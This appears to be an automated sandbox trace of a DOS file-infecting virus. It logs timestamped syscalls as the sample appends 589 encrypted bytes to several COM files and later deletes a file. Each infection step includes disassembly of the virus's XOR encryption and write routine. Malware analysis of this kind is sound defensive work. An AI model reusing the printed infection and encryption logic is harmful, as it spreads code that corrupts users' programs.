Sample viewer

vx.netlux.org/Virus.DOS.VCC.HH.589

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T21:58:15.933545909Z 26 PC: 12e54 | Set disk transfer address
2018-12-17T21:58:15.935067075Z 37 PC: 12e62 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T21:58:15.936670765Z 37 PC: 12e66 | Set interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T21:58:15.937739739Z 78 PC: 12eb4 | Find first file
2018-12-17T21:58:15.942145013Z 61 PC: 12fff | Open file (Filename = 'SLEEP.COM')
2018-12-17T21:58:15.948521873Z 63 PC: 1300e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:58:15.955966798Z 66 PC: 1301e | Move file pointer
2018-12-17T21:58:15.957465901Z 66 PC: 1302e | Move file pointer
2018-12-17T21:58:15.962027979Z 64 PC: 1303a | Write file or device (Write 4 bytes on handle 5)
2018-12-17T21:58:15.964472345Z 66 PC: 13047 | Move file pointer
2018-12-17T21:58:15.96586771Z 44 PC: 1304b | Get time 0x1304b: mov byte ptr ds:[bp + 0x34d], dl
0x13050: call 0x13066
0x13053: mov ah, 0x40
0x13055: mov cx, 0x24d
0x13058: lea dx, word ptr [bp + 0x106]
0x1305c: int 0x21
0x1305e: call 0x13066
0x13061: mov ah, 0x3e
0x13063: int 0x21
0x13065: ret
0x13066: lea si, word ptr [bp + 0x11f]
0x1306a: mov cx, 0x20f
0x1306d: xor byte ptr [si], 0x17
0x13070: inc si
0x13071: dec cx
0x13072: jne 0x1306d
0x13074: ret
0x13075: add word ptr [bx], di
0x13077: aas
0x13078: aas
2018-12-17T21:58:15.969021178Z 64 PC: 1305e | Write file or device (Write 589 bytes on handle 5)
2018-12-17T21:58:15.982933718Z 62 PC: 13065 | Close file
2018-12-17T21:58:15.990422847Z 79 PC: 12eb4 | Find next file
2018-12-17T21:58:15.993687195Z 61 PC: 12fff | Open file (Filename = 'PRINT.COM')
2018-12-17T21:58:15.999932165Z 63 PC: 1300e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:58:16.005894575Z 66 PC: 1301e | Move file pointer
2018-12-17T21:58:16.009724623Z 66 PC: 1302e | Move file pointer
2018-12-17T21:58:16.010984569Z 64 PC: 1303a | Write file or device (Write 4 bytes on handle 5)
2018-12-17T21:58:16.013365276Z 66 PC: 13047 | Move file pointer
2018-12-17T21:58:16.015746115Z 44 PC: 1304b | Get time 0x1304b: mov byte ptr ds:[bp + 0x34d], dl
0x13050: call 0x13066
0x13053: mov ah, 0x40
0x13055: mov cx, 0x24d
0x13058: lea dx, word ptr [bp + 0x106]
0x1305c: int 0x21
0x1305e: call 0x13066
0x13061: mov ah, 0x3e
0x13063: int 0x21
0x13065: ret
0x13066: lea si, word ptr [bp + 0x11f]
0x1306a: mov cx, 0x20f
0x1306d: xor byte ptr [si], 0x3d
0x13070: inc si
0x13071: dec cx
0x13072: jne 0x1306d
0x13074: ret
0x13075: add word ptr [bx], di
0x13077: aas
0x13078: aas
2018-12-17T21:58:16.018569843Z 64 PC: 1305e | Write file or device (Write 589 bytes on handle 5)
2018-12-17T21:58:16.02656969Z 62 PC: 13065 | Close file
2018-12-17T21:58:16.037552771Z 79 PC: 12eb4 | Find next file
2018-12-17T21:58:16.041812075Z 61 PC: 12fff | Open file (Filename = 'HELLO.COM')
2018-12-17T21:58:16.048065797Z 63 PC: 1300e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:58:16.055680592Z 66 PC: 1301e | Move file pointer
2018-12-17T21:58:16.057313579Z 66 PC: 1302e | Move file pointer
2018-12-17T21:58:16.059082144Z 64 PC: 1303a | Write file or device (Write 4 bytes on handle 5)
2018-12-17T21:58:16.062046731Z 66 PC: 13047 | Move file pointer
2018-12-17T21:58:16.063685386Z 44 PC: 1304b | Get time 0x1304b: mov byte ptr ds:[bp + 0x34d], dl
0x13050: call 0x13066
0x13053: mov ah, 0x40
0x13055: mov cx, 0x24d
0x13058: lea dx, word ptr [bp + 0x106]
0x1305c: int 0x21
0x1305e: call 0x13066
0x13061: mov ah, 0x3e
0x13063: int 0x21
0x13065: ret
0x13066: lea si, word ptr [bp + 0x11f]
0x1306a: mov cx, 0x20f
0x1306d: xor byte ptr [si], 0x43
0x13070: inc si
0x13071: dec cx
0x13072: jne 0x1306d
0x13074: ret
0x13075: add word ptr [bx], di
0x13077: aas
0x13078: aas
2018-12-17T21:58:16.066206804Z 64 PC: 1305e | Write file or device (Write 589 bytes on handle 5)
2018-12-17T21:58:16.074392027Z 62 PC: 13065 | Close file
2018-12-17T21:58:16.084616671Z 79 PC: 12eb4 | Find next file
2018-12-17T21:58:16.09192173Z 61 PC: 12fff | Open file (Filename = 'PHANG.COM')
2018-12-17T21:58:16.102348927Z 63 PC: 1300e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:58:16.115372343Z 66 PC: 1301e | Move file pointer
2018-12-17T21:58:16.117289222Z 66 PC: 1302e | Move file pointer
2018-12-17T21:58:16.119466312Z 64 PC: 1303a | Write file or device (Write 4 bytes on handle 5)
2018-12-17T21:58:16.123137068Z 66 PC: 13047 | Move file pointer
2018-12-17T21:58:16.124519998Z 44 PC: 1304b | Get time 0x1304b: mov byte ptr ds:[bp + 0x34d], dl
0x13050: call 0x13066
0x13053: mov ah, 0x40
0x13055: mov cx, 0x24d
0x13058: lea dx, word ptr [bp + 0x106]
0x1305c: int 0x21
0x1305e: call 0x13066
0x13061: mov ah, 0x3e
0x13063: int 0x21
0x13065: ret
0x13066: lea si, word ptr [bp + 0x11f]
0x1306a: mov cx, 0x20f
0x1306d: xor byte ptr [si], 0x43
0x13070: inc si
0x13071: dec cx
0x13072: jne 0x1306d
0x13074: ret
0x13075: add word ptr [bx], di
0x13077: aas
0x13078: aas
2018-12-17T21:58:16.126757626Z 64 PC: 1305e | Write file or device (Write 589 bytes on handle 5)
2018-12-17T21:58:16.13524452Z 62 PC: 13065 | Close file
2018-12-17T21:58:16.143470614Z 79 PC: 12eb4 | Find next file
2018-12-17T21:58:16.146247125Z 61 PC: 12fff | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T21:58:16.153481146Z 63 PC: 1300e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:58:16.159929299Z 66 PC: 1301e | Move file pointer
2018-12-17T21:58:16.161783232Z 66 PC: 1302e | Move file pointer
2018-12-17T21:58:16.164138134Z 64 PC: 1303a | Write file or device (Write 4 bytes on handle 5)
2018-12-17T21:58:16.167352931Z 66 PC: 13047 | Move file pointer
2018-12-17T21:58:16.169016542Z 44 PC: 1304b | Get time 0x1304b: mov byte ptr ds:[bp + 0x34d], dl
0x13050: call 0x13066
0x13053: mov ah, 0x40
0x13055: mov cx, 0x24d
0x13058: lea dx, word ptr [bp + 0x106]
0x1305c: int 0x21
0x1305e: call 0x13066
0x13061: mov ah, 0x3e
0x13063: int 0x21
0x13065: ret
0x13066: lea si, word ptr [bp + 0x11f]
0x1306a: mov cx, 0x20f
0x1306d: xor byte ptr [si], 0x48
0x13070: inc si
0x13071: dec cx
0x13072: jne 0x1306d
0x13074: ret
0x13075: add word ptr [bx], di
0x13077: aas
0x13078: aas
2018-12-17T21:58:16.17148595Z 64 PC: 1305e | Write file or device (Write 589 bytes on handle 5)
2018-12-17T21:58:16.180788999Z 62 PC: 13065 | Close file
2018-12-17T21:58:16.189040173Z 26 PC: 12ece | Set disk transfer address
2018-12-17T21:58:16.1904168Z 9 PC: 12ee6 | Display string (Could not find end pointer)
2018-12-17T21:58:16.223807286Z 19 PC: 12efb | Delete file
2018-12-17T21:58:16.230523126Z 9 PC: 12f2d | Display string (String= '????????OV?')